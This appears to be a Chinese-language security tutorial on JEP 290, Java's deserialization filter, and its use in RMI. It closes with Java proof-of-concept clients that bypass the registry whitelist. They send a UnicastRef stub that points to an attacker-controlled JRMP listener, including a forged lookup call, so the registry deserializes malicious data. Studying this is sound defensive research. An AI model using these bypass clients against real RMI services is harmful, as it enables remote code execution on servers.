JEP 290

Intro

上一节介绍的RMI反序列化入口都是JDK自带的rmi包中，很难想象官方会不去修复或缓解这个漏洞。

针对此JDK9加入了一个反序列化的安全机制————JEP 290

JEP：Java Enhancement Proposal 即Java增强提议，像新语法什么的都会在这出现

是在Java9提出的，但在JDK6、7、8的高版本中也引入了这个机制（JDK8121、JDK7u131、JDK6u141）

官方的描述👉https://openjdk.org/jeps/290

JEP 290: Filter Incoming Serialization Data
Allow incoming streams of object-serialization data to be filtered in order to improve both security and robustness.

对输入的对象序列化数据流进行过滤，以提高安全性和鲁棒性。

根据官方的描述，核心机制在于一个可以被用户实现的filter接口，作为ObjectInputStream的一个属性，反序列化时会触发接口的方法，对序列化类进行合法性检查。每个对象在被实例化和反序列化之前，过滤器都会被调用，除去Java的基本类型和java.lang.String（若过滤器未设置，默认使用全局过滤器）。此外，针对RMI，用于导出远程对象的UnicastServerRef中的MarshalInputStream也设置了过滤器，用于验证方法参数的合法性。

下面的分析都基于JDK8u202，其他版本应该类似。

我们下载的Oracle JDK只提供了java和javax包下的源码，没有sun包源码
需要去OpenJDK官网下载JDK源码，如8u202👉https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/4d01af166527，点击zip下载源码
下载的压缩包下src/share/classes，将sun目录复制到JDK的安装目录下的src，IDEA中Project Structure->SDKs->SourcePath，添加src目录
这样就不用看🤮反编译结果了✌️

ObjectInputFilter

原生反序列化的入口在ObjectInputStream#readObject，在这里设置过滤器再合适不过。JEP 290在ObjectInputStream类中增加了一个serialFilter属性和一个filterCheck方法。

serialFilter

ObjectInputStream的构造方法初始化了serialFilter

Config是sun.misc.ObjectInputFilter这个接口的一个静态内部类，getSerialFilter返回Config的静态字段serialFilter

这个静态字段在Config的静态代码块中进行初始化

试试打印这两个全局属性，发现是null，所以默认反序列化过滤器为空

System.getProperty("jdk.serialFilter");
Security.getProperty("jdk.serialFilter")

若有设置这两个全局属性，才会构造序列化过滤器。

serialFilter是ObjectInputFilter接口类，ObjectInputStream#setObjectInputFilter（JDK9以下是setInternalObjectInputFilter）用于设置过滤器。（相应的也有getObjectInputFilter用于获取过滤器）

下面看看当jdk.serialFilter全局属性不为空时，如何创建一个过滤器

ObjectInputFilter.Config#createFilter

关于pattern的规则，注释也写得很详细明了了。

反序列化时检查类有三种状态：ALLOWED、REJECTED、UNDECIDED

见ObjectInputFilter接口的枚举类Status

这里插入一个测试例子

反序列化时成功抛出InvalidClassException异常，显示过滤器状态为REJECTED

接着交给ObjectInputFilter.Config.Global#createFilter去创建过滤器

Global本身就实现了ObjectInputFilter接口

Global的构造函数会解析我们传入的匹配规则pattern，将规则解析成一个个lambda表达式，lambda表达式会返回ObjectInputFilter.Status

private final List<Function<Class<?>, Status>> filters;

过滤包下的所有类

pkg为我们设置的待过滤包名

pkg与Class.getName()进行比较

过滤包下的所有类及所有子包

过滤某个前缀

过滤某个类

总结：ObjectInputStream的构造方法中获取serialFilter(ObjectInputFilter接口类)，即ObjectInputFilter.Config的静态成员serialFilter，其在Config的静态代码块中初始化，若有通过System或Security设置全局属性jdk.serialFilter，则创建反序列化过滤器（默认为null，不创建）。最后调用ObjectInputFilter.Config.Global的构造方法，Global实现了ObjectInputFilter接口，所以它本身就是一个过滤器。Global的构造方法中对传入的过滤规则pattern解析成一个个lambda表达式，放入自身的filters字段中。

filterCheck

ObjectInputStream#filterCheck会对类进行过滤

判断serialFilter是否为空
交给serialFilter#checkInput进行类检测
若返回状态为null或REJECTED，抛出InvalidClassException异常

这里封装了一个FilterValues对象（这个类实现了ObjectInputFilter.FilterInfo接口）

Global#checkInput会检测如下内容：

数组长度是否超过maxArrayLength
类名是否在黑名单filters
对象引用是否超过maxReferences
序列流大小是否超过maxStreamBytes
嵌套对象的深度是否超过maxDepth

customized filter

上面通过设置全局属性jdk.serialFilter，创建的是全局过滤器，因为ObjectInputFilter.Config类初始化，Global这个过滤器被创建并赋值给Config.serialFilter，每次创建ObjectInputStream对象都是去拿Config的serialFilter属性。

Local customization

若想设置局部自定义过滤器，可以调用ObjectInputStream#setInternalObjectInputFilter，传入自定义的ObjectInputFilter（JDK9及以上是setObjectInputFilter）

或者调用ObjectInputFilter.Config#setObjectInputFilter，需要传入ObjectInputStream对象和自定义的过滤器

Global customization

可能需要通过反射去修改Config的serialFilter属性

因为对象实例化后serialFilter已经被赋值了，但setSerialFilter会检查serialFilter是否为空，不为空就改不了。这方法估计就是用来代替设置jdk.serialFilter全局属性的。

Filter in RMI

Normal RemoteObject

RMI在调用远程方法时，服务端会反序列化客户端发送的序列化参数对象。

sun.rmi.server.UnicastServerRef#dispatch

UnicastServerRef多了一个属性filter，可在构造的时候传入。

unmarshalCustomCallData设置了一个局部过滤器，对传入的MarshalInputStream设置serialFilter，来过滤远程方法的调用参数。

但很可惜这个filter默认是null，也就是默认没有反序列化过滤器。

远程对象继承了UnicastRemoteObject，其构造方法会把自身导出，

可以看到这里构造UnicastServerRef时默认过滤器为null。

RegistryImpl

但对于注册中心RegistryImpl的创建，就指定了一个过滤器。

这里的::表示方法引用，配合函数式接口使用，比如：
interface Converter {
    String convert(String input);
}

// 使用静态方法引用实现函数式接口
Converter converter = String::toUpperCase;
String result = converter.convert("hello"); // HELLO
函数式接口是只有一个抽象方法的接口，可以使用lambda表达式或方法引用来实现该抽象方法。避免匿名类的构造。Java中的函数式接口使用@FunctionalInterface注解进行标识。

刚好ObjectInputFilter有@FunctionalInterface注解

RegistryImpl::registryFilter设置了一个白名单，只允许反序列化特定类的子类

父类.class.isAssignableFrom(子类.class)

RegistryImpl的registryFilter属性在初始化时读取全局属性sun.rmi.registry.registryFilter，读不到也是默认null过滤器。

Config.createFilter2和Config.createFilter的区别在于前者不会检测数组里的元素类型。

DGCImpl

同样DGCImpl也设置了自己的白名单

Bypass JEP290 in RMI

首先就是对于普通的远程对象，其UnicastServerRef的filter默认为null，因此传输恶意对象让其进行反序列化仍可以打。

感觉这个叫bypass很勉强，只是JEP290对反序列化的点没有防御全面，而不是防御逻辑出问题。

其次注意到上面的防护只是针对服务端的引用层，都是在UnicastServerRef中调用unmarshalCustomCallData将filter注册进来，

而对于客户端的引用层UnicastRef，并没有发现过滤器的注册，因此payloads.JRMPClient/exploit.JRMPListner仍可以打

既然对于客户端没有防护，那么能不能让服务端变成客户端呢？

注册中心设置白名单肯定要保证原本功能的正常运行，也就是通过bind传递的Stub肯定要能被反序列化，才能被注册中心接收。

看一眼白名单，Remote、UnicastRef、UID、Number、String这些基本的bind要传的类是有的

结合前面RMI讲的UnicastRef反序列化会触发DGC的dirty，因此我们构造一个指向我们恶意JRMP服务的远程对象Stub，让注册中心往我们的恶意服务端发送租赁请求，接着返回恶意数据让其反序列化。

public class RMIServer {
    public static void main(String[] args) throws Exception {
        LocateRegistry.createRegistry(1099);
        while (true) {
            Thread.sleep(10000);
        }
    }
}

public class RMIClient {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 12233);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Remote proxy = (Remote) Proxy.newProxyInstance(RMIClient.class.getClassLoader(), new Class[]{
                Remote.class
        }, obj);
        registry.bind("x", proxy);
    }
}

TCPEndpoint指向了JRMPListener的主机和端口

上面的payload只能在本地打通。

之前不是说注册中心压根没有做身份验证嘛，任何人都可以随便bind对象上去

高版本RMI修复了这个问题，RegistryImpl_Skel在调用bind、rebind、unbind之前会判断客户端的IP和本机IP是否相同

当然list、lookup这些客户端正常使用的功能就没有这个限制

但是如果客户端直接调用lookup，只能传递字符串。

我们可以直接仿造RegistryImpl_Stub实现一个lookup方法，使其接收Object对象，并把opnum改成lookup对应的2

public class RMIClient {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 12233);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        lookup(registry, obj);
    }

    public static Remote lookup(Registry registry, Object obj)
            throws Exception {
        RemoteRef ref = (RemoteRef) getFieldValue(registry, "ref");
        long interfaceHash = Long.valueOf(String.valueOf(getFieldValue(registry, "interfaceHash")));

        java.rmi.server.Operation[] operations = (Operation[]) getFieldValue(registry, "operations");
        java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject) registry, operations, 2, interfaceHash);
        try {
            try {
                java.io.ObjectOutput out = call.getOutputStream();
                out.writeObject(obj);
            } catch (java.io.IOException e) {
                throw new java.rmi.MarshalException("error marshalling arguments", e);
            }
            ref.invoke(call);
            return null;
        } catch (RuntimeException | RemoteException | NotBoundException e) {
            if(e instanceof RemoteException| e instanceof ClassCastException){
                return null;
            }else{
                throw e;
            }
        } catch (java.lang.Exception e) {
            throw new java.rmi.UnexpectedException("undeclared checked exception", e);
        } finally {
            ref.done(call);
        }
    }

    public static Object getFieldValue(Object o, String name) throws Exception {
        Class<?> superClazz = o.getClass();
        Field f = null;
        while (true) {
            try {
                f = superClazz.getDeclaredField(name);
                break;
            } catch (NoSuchFieldException e) {
                superClazz = superClazz.getSuperclass();
            }
        }
        f.setAccessible(true);
        return f.get(o);
    }
}

JDK 8u231修复了DGCImpl_Stub，反序列化前设置了过滤器

return (clazz == ObjID.class ||
        clazz == UID.class ||
        clazz == VMID.class ||
        clazz == Lease.class) ? ObjectInputFilter.Status.ALLOWED: ObjectInputFilter.Status.REJECTED;